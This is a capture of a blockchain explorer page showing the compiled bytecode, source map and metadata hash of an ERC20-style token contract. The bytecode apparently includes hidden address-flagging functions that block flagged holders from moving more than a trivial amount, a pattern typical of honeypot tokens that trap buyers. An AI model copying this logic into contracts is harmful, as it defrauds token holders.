1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b6007805461093890611612565b80601f016020809104026020016040519081016040528092919081815260200182805461096490611612565b80156109af5780601f10610986576101008083540402835291602001916109af565b820191905f5260205f20905b81548152906001019060200180831161099257829003601f168201915b505050505081565b600680546109c490611612565b80601f01602080910402602001604051908101604052809291908181526020018280546109f090611612565b8015610a3b5780601f10610a1257610100808354040283529160200191610a3b565b820191905f5260205f20905b815481529060010190602001808311610a1e57829003601f168201915b505050505081565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b31906117a0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ba8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9f9061182e565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c8291906114e2565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610cfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf4906118bc565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d629061194a565b60405180910390fd5b5f8111610dad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da4906119d8565b60405180910390fd5b5f81905060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680610e4c575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15610e5e5760028110610e5d575f80fd5b5b5f60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610ee2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed990611a66565b60405180910390fd5b8281610eee91906116fd565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508260015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610f7b9190611a84565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610fdf91906114e2565b60405180910390a35050505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361105c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611053906118bc565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c19061194a565b60405180910390fd5b5f811161110c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611103906119d8565b60405180910390fd5b5f81905060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161561116c576002811061116b575f80fd5b5b5f60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050828110156111f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e790611a66565b60405180910390fd5b82816111fc91906116fd565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508260015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546112899190611a84565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516112ed91906114e2565b60405180910390a35050505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611333578082015181840152602081019050611318565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611358826112fc565b6113628185611306565b9350611372818560208601611316565b61137b8161133e565b840191505092915050565b5f6020820190508181035f83015261139e818461134e565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6113d3826113aa565b9050919050565b6113e3816113c9565b81146113ed575f80fd5b50565b5f813590506113fe816113da565b92915050565b5f819050919050565b61141681611404565b8114611420575f80fd5b50565b5f813590506114318161140d565b92915050565b5f806040838503121561144d5761144c6113a6565b5b5f61145a858286016113f0565b925050602061146b85828601611423565b9150509250929050565b5f8115159050919050565b61148981611475565b82525050565b5f6020820190506114a25f830184611480565b92915050565b5f602082840312156114bd576114bc6113a6565b5b5f6114ca848285016113f0565b91505092915050565b6114dc81611404565b82525050565b5f6020820190506114f55f8301846114d3565b92915050565b5f805f60608486031215611512576115116113a6565b5b5f61151f868287016113f0565b9350506020611530868287016113f0565b925050604061154186828701611423565b9150509250925092565b5f60ff82169050919050565b6115608161154b565b82525050565b5f6020820190506115795f830184611557565b92915050565b611588816113c9565b82525050565b5f6020820190506115a15f83018461157f565b92915050565b5f80604083850312156115bd576115bc6113a6565b5b5f6115ca858286016113f0565b92505060206115db858286016113f0565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061162957607f821691505b60208210810361163c5761163b6115e5565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f61169c602883611306565b91506116a782611642565b604082019050919050565b5f6020820190508181035f8301526116c981611690565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61170782611404565b915061171283611404565b925082820390508181111561172a576117296116d0565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61178a602483611306565b915061179582611730565b604082019050919050565b5f6020820190508181035f8301526117b78161177e565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611818602283611306565b9150611823826117be565b604082019050919050565b5f6020820190508181035f8301526118458161180c565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6118a6602583611306565b91506118b18261184c565b604082019050919050565b5f6020820190508181035f8301526118d38161189a565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611934602383611306565b915061193f826118da565b604082019050919050565b5f6020820190508181035f83015261196181611928565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726174657220745f8201527f6861746e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6119c2602983611306565b91506119cd82611968565b604082019050919050565b5f6020820190508181035f8301526119ef816119b6565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f611a50602683611306565b9150611a5b826119f6565b604082019050919050565b5f6020820190508181035f830152611a7d81611a44565b9050919050565b5f611a8e82611404565b9150611a9983611404565b9250828201905080821115611ab157611ab06116d0565b5b9291505056fea26469706673582212204468ee621fd9189dd4b57f1e508f64949c910437b59115c3ce129001309c4a4c64736f6c63430008170033
Deployed Bytecode Sourcemap
5629:4304:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6342:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7233:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8554:143;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6626:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5732:43;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7412:422;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6532:84;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5904:27;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5680:45;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6745:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5442:178;;;:::i;:::-;;5357:79;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6435:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6882:175;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9794:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5976:40;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5938:31;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7070:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6342:83;6379:13;6412:5;6405:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6342:83;:::o;7233:169::-;7316:4;7333:39;7342:12;:10;:12::i;:::-;7356:7;7365:6;7333:8;:39::i;:::-;7390:4;7383:11;;7233:169;;;;:::o;8554:143::-;8645:9;;;;;;;;;;;8620:34;;:7;:21;8628:12;:10;:12::i;:::-;8620:21;;;;;;;;;;;;;;;;:34;;8611:44;;;;;;8684:5;8666;:15;8672:8;8666:15;;;;;;;;;;;;;;;;:23;;;;;;;;;;;;;;;;;;8554:143;:::o;6626:108::-;6687:7;6714:12;;6707:19;;6626:108;:::o;5732:43::-;;;;;;;;;;;;;;;;;:::o;7412:422::-;7518:4;7535:40;7549:6;7557:9;7568:6;7535:13;:40::i;:::-;7586:24;7613:11;:19;7625:6;7613:19;;;;;;;;;;;;;;;:33;7633:12;:10;:12::i;:::-;7613:33;;;;;;;;;;;;;;;;7586:60;;7685:6;7665:16;:26;;7657:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;7747:57;7756:6;7764:12;:10;:12::i;:::-;7797:6;7778:16;:25;;;;:::i;:::-;7747:8;:57::i;:::-;7822:4;7815:11;;;7412:422;;;;;:::o;6532:84::-;6574:5;6599:9;;;;;;;;;;;6592:16;;6532:84;:::o;5904:27::-;;;;:::o;5680:45::-;;;;;;;;;;;;;;;;;:::o;6745:127::-;6819:7;6846:9;:18;6856:7;6846:18;;;;;;;;;;;;;;;;6839:25;;6745:127;;;:::o;5442:178::-;5519:6;;;;;;;;;;5505:20;;:10;:20;;;5497:29;;;;;;5579:1;5542:40;;5563:6;;;;;;;;;;5542:40;;;;;;;;;;;;5610:1;5593:6;;:19;;;;;;;;;;;;;;;;;;5442:178::o;5357:79::-;5395:7;5422:6;;;;;;;;;;;5415:13;;5357:79;:::o;6435:87::-;6474:13;6507:7;6500:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6435:87;:::o;6882:175::-;6968:4;6985:42;6995:12;:10;:12::i;:::-;7009:9;7020:6;6985:9;:42::i;:::-;7045:4;7038:11;;6882:175;;;;:::o;9794:134::-;9877:9;;;;;;;;;;;9852:34;;:7;:21;9860:12;:10;:12::i;:::-;9852:21;;;;;;;;;;;;;;;;:34;;9843:44;;;;;;9916:4;9898:5;:15;9904:8;9898:15;;;;;;;;;;;;;;;;:22;;;;;;;;;;;;;;;;;;9794:134;:::o;5976:40::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;5938:31::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;7070:151::-;7159:7;7186:11;:18;7198:5;7186:18;;;;;;;;;;;;;;;:27;7205:7;7186:27;;;;;;;;;;;;;;;;7179:34;;7070:151;;;;:::o;4819:98::-;4872:7;4899:10;4892:17;;4819:98;:::o;9441:344::-;9560:1;9543:19;;:5;:19;;;9535:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9641:1;9622:21;;:7;:21;;;9614:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9723:6;9693:11;:18;9705:5;9693:18;;;;;;;;;;;;;;;:27;9712:7;9693:27;;;;;;;;;;;;;;;:36;;;;9761:7;9745:32;;9754:5;9745:32;;;9770:6;9745:32;;;;;;:::i;:::-;;;;;;;;9441:344;;;:::o;8706:724::-;8834:1;8816:20;;:6;:20;;;8808:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;8918:1;8897:23;;:9;:23;;;8889:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;8988:1;8979:6;:10;8971:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;9046:15;9064:6;9046:24;;9085:5;:13;9091:6;9085:13;;;;;;;;;;;;;;;;;;;;;;;;;:33;;;;9102:5;:16;9108:9;9102:16;;;;;;;;;;;;;;;;;;;;;;;;;9085:33;9081:59;;;9138:1;9128:7;:11;9120:20;;;;;;9081:59;9151:21;9175:9;:17;9185:6;9175:17;;;;;;;;;;;;;;;;9151:41;;9228:6;9211:13;:23;;9203:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;9324:6;9308:13;:22;;;;:::i;:::-;9288:9;:17;9298:6;9288:17;;;;;;;;;;;;;;;:42;;;;9365:6;9341:9;:20;9351:9;9341:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;9404:9;9387:35;;9396:6;9387:35;;;9415:6;9387:35;;;;;;:::i;:::-;;;;;;;;8797:633;;8706:724;;;:::o;7846:701::-;7970:1;7952:20;;:6;:20;;;7944:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;8054:1;8033:23;;:9;:23;;;8025:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;8124:1;8115:6;:10;8107:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;8182:15;8200:6;8182:24;;8221:5;:13;8227:6;8221:13;;;;;;;;;;;;;;;;;;;;;;;;;8217:40;;;8255:1;8245:7;:11;8237:20;;;;;;8217:40;8268:21;8292:9;:17;8302:6;8292:17;;;;;;;;;;;;;;;;8268:41;;8345:6;8328:13;:23;;8320:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;8441:6;8425:13;:22;;;;:::i;:::-;8405:9;:17;8415:6;8405:17;;;;;;;;;;;;;;;:42;;;;8482:6;8458:9;:20;8468:9;8458:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;8521:9;8504:35;;8513:6;8504:35;;;8532:6;8504:35;;;;;;:::i;:::-;;;;;;;;7933:614;;7846:701;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:329::-;3505:6;3554:2;3542:9;3533:7;3529:23;3525:32;3522:119;;;3560:79;;:::i;:::-;3522:119;3680:1;3705:53;3750:7;3741:6;3730:9;3726:22;3705:53;:::i;:::-;3695:63;;3651:117;3446:329;;;;:::o;3781:118::-;3868:24;3886:5;3868:24;:::i;:::-;3863:3;3856:37;3781:118;;:::o;3905:222::-;3998:4;4036:2;4025:9;4021:18;4013:26;;4049:71;4117:1;4106:9;4102:17;4093:6;4049:71;:::i;:::-;3905:222;;;;:::o;4133:619::-;4210:6;4218;4226;4275:2;4263:9;4254:7;4250:23;4246:32;4243:119;;;4281:79;;:::i;:::-;4243:119;4401:1;4426:53;4471:7;4462:6;4451:9;4447:22;4426:53;:::i;:::-;4416:63;;4372:117;4528:2;4554:53;4599:7;4590:6;4579:9;4575:22;4554:53;:::i;:::-;4544:63;;4499:118;4656:2;4682:53;4727:7;4718:6;4707:9;4703:22;4682:53;:::i;:::-;4672:63;;4627:118;4133:619;;;;;:::o;4758:86::-;4793:7;4833:4;4826:5;4822:16;4811:27;;4758:86;;;:::o;4850:112::-;4933:22;4949:5;4933:22;:::i;:::-;4928:3;4921:35;4850:112;;:::o;4968:214::-;5057:4;5095:2;5084:9;5080:18;5072:26;;5108:67;5172:1;5161:9;5157:17;5148:6;5108:67;:::i;:::-;4968:214;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:474::-;5608:6;5616;5665:2;5653:9;5644:7;5640:23;5636:32;5633:119;;;5671:79;;:::i;:::-;5633:119;5791:1;5816:53;5861:7;5852:6;5841:9;5837:22;5816:53;:::i;:::-;5806:63;;5762:117;5918:2;5944:53;5989:7;5980:6;5969:9;5965:22;5944:53;:::i;:::-;5934:63;;5889:118;5540:474;;;;;:::o;6020:180::-;6068:77;6065:1;6058:88;6165:4;6162:1;6155:15;6189:4;6186:1;6179:15;6206:320;6250:6;6287:1;6281:4;6277:12;6267:22;;6334:1;6328:4;6324:12;6355:18;6345:81;;6411:4;6403:6;6399:17;6389:27;;6345:81;6473:2;6465:6;6462:14;6442:18;6439:38;6436:84;;6492:18;;:::i;:::-;6436:84;6257:269;6206:320;;;:::o;6532:227::-;6672:34;6668:1;6660:6;6656:14;6649:58;6741:10;6736:2;6728:6;6724:15;6717:35;6532:227;:::o;6765:366::-;6907:3;6928:67;6992:2;6987:3;6928:67;:::i;:::-;6921:74;;7004:93;7093:3;7004:93;:::i;:::-;7122:2;7117:3;7113:12;7106:19;;6765:366;;;:::o;7137:419::-;7303:4;7341:2;7330:9;7326:18;7318:26;;7390:9;7384:4;7380:20;7376:1;7365:9;7361:17;7354:47;7418:131;7544:4;7418:131;:::i;:::-;7410:139;;7137:419;;;:::o;7562:180::-;7610:77;7607:1;7600:88;7707:4;7704:1;7697:15;7731:4;7728:1;7721:15;7748:194;7788:4;7808:20;7826:1;7808:20;:::i;:::-;7803:25;;7842:20;7860:1;7842:20;:::i;:::-;7837:25;;7886:1;7883;7879:9;7871:17;;7910:1;7904:4;7901:11;7898:37;;;7915:18;;:::i;:::-;7898:37;7748:194;;;;:::o;7948:223::-;8088:34;8084:1;8076:6;8072:14;8065:58;8157:6;8152:2;8144:6;8140:15;8133:31;7948:223;:::o;8177:366::-;8319:3;8340:67;8404:2;8399:3;8340:67;:::i;:::-;8333:74;;8416:93;8505:3;8416:93;:::i;:::-;8534:2;8529:3;8525:12;8518:19;;8177:366;;;:::o;8549:419::-;8715:4;8753:2;8742:9;8738:18;8730:26;;8802:9;8796:4;8792:20;8788:1;8777:9;8773:17;8766:47;8830:131;8956:4;8830:131;:::i;:::-;8822:139;;8549:419;;;:::o;8974:221::-;9114:34;9110:1;9102:6;9098:14;9091:58;9183:4;9178:2;9170:6;9166:15;9159:29;8974:221;:::o;9201:366::-;9343:3;9364:67;9428:2;9423:3;9364:67;:::i;:::-;9357:74;;9440:93;9529:3;9440:93;:::i;:::-;9558:2;9553:3;9549:12;9542:19;;9201:366;;;:::o;9573:419::-;9739:4;9777:2;9766:9;9762:18;9754:26;;9826:9;9820:4;9816:20;9812:1;9801:9;9797:17;9790:47;9854:131;9980:4;9854:131;:::i;:::-;9846:139;;9573:419;;;:::o;9998:224::-;10138:34;10134:1;10126:6;10122:14;10115:58;10207:7;10202:2;10194:6;10190:15;10183:32;9998:224;:::o;10228:366::-;10370:3;10391:67;10455:2;10450:3;10391:67;:::i;:::-;10384:74;;10467:93;10556:3;10467:93;:::i;:::-;10585:2;10580:3;10576:12;10569:19;;10228:366;;;:::o;10600:419::-;10766:4;10804:2;10793:9;10789:18;10781:26;;10853:9;10847:4;10843:20;10839:1;10828:9;10824:17;10817:47;10881:131;11007:4;10881:131;:::i;:::-;10873:139;;10600:419;;;:::o;11025:222::-;11165:34;11161:1;11153:6;11149:14;11142:58;11234:5;11229:2;11221:6;11217:15;11210:30;11025:222;:::o;11253:366::-;11395:3;11416:67;11480:2;11475:3;11416:67;:::i;:::-;11409:74;;11492:93;11581:3;11492:93;:::i;:::-;11610:2;11605:3;11601:12;11594:19;;11253:366;;;:::o;11625:419::-;11791:4;11829:2;11818:9;11814:18;11806:26;;11878:9;11872:4;11868:20;11864:1;11853:9;11849:17;11842:47;11906:131;12032:4;11906:131;:::i;:::-;11898:139;;11625:419;;;:::o;12050:228::-;12190:34;12186:1;12178:6;12174:14;12167:58;12259:11;12254:2;12246:6;12242:15;12235:36;12050:228;:::o;12284:366::-;12426:3;12447:67;12511:2;12506:3;12447:67;:::i;:::-;12440:74;;12523:93;12612:3;12523:93;:::i;:::-;12641:2;12636:3;12632:12;12625:19;;12284:366;;;:::o;12656:419::-;12822:4;12860:2;12849:9;12845:18;12837:26;;12909:9;12903:4;12899:20;12895:1;12884:9;12880:17;12873:47;12937:131;13063:4;12937:131;:::i;:::-;12929:139;;12656:419;;;:::o;13081:225::-;13221:34;13217:1;13209:6;13205:14;13198:58;13290:8;13285:2;13277:6;13273:15;13266:33;13081:225;:::o;13312:366::-;13454:3;13475:67;13539:2;13534:3;13475:67;:::i;:::-;13468:74;;13551:93;13640:3;13551:93;:::i;:::-;13669:2;13664:3;13660:12;13653:19;;13312:366;;;:::o;13684:419::-;13850:4;13888:2;13877:9;13873:18;13865:26;;13937:9;13931:4;13927:20;13923:1;13912:9;13908:17;13901:47;13965:131;14091:4;13965:131;:::i;:::-;13957:139;;13684:419;;;:::o;14109:191::-;14149:3;14168:20;14186:1;14168:20;:::i;:::-;14163:25;;14202:20;14220:1;14202:20;:::i;:::-;14197:25;;14245:1;14242;14238:9;14231:16;;14266:3;14263:1;14260:10;14257:36;;;14273:18;;:::i;:::-;14257:36;14109:191;;;;:::o
Swarm Source
ipfs://4468ee621fd9189dd4b57f1e508f64949c910437b59115c3ce129001309c4a4c
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.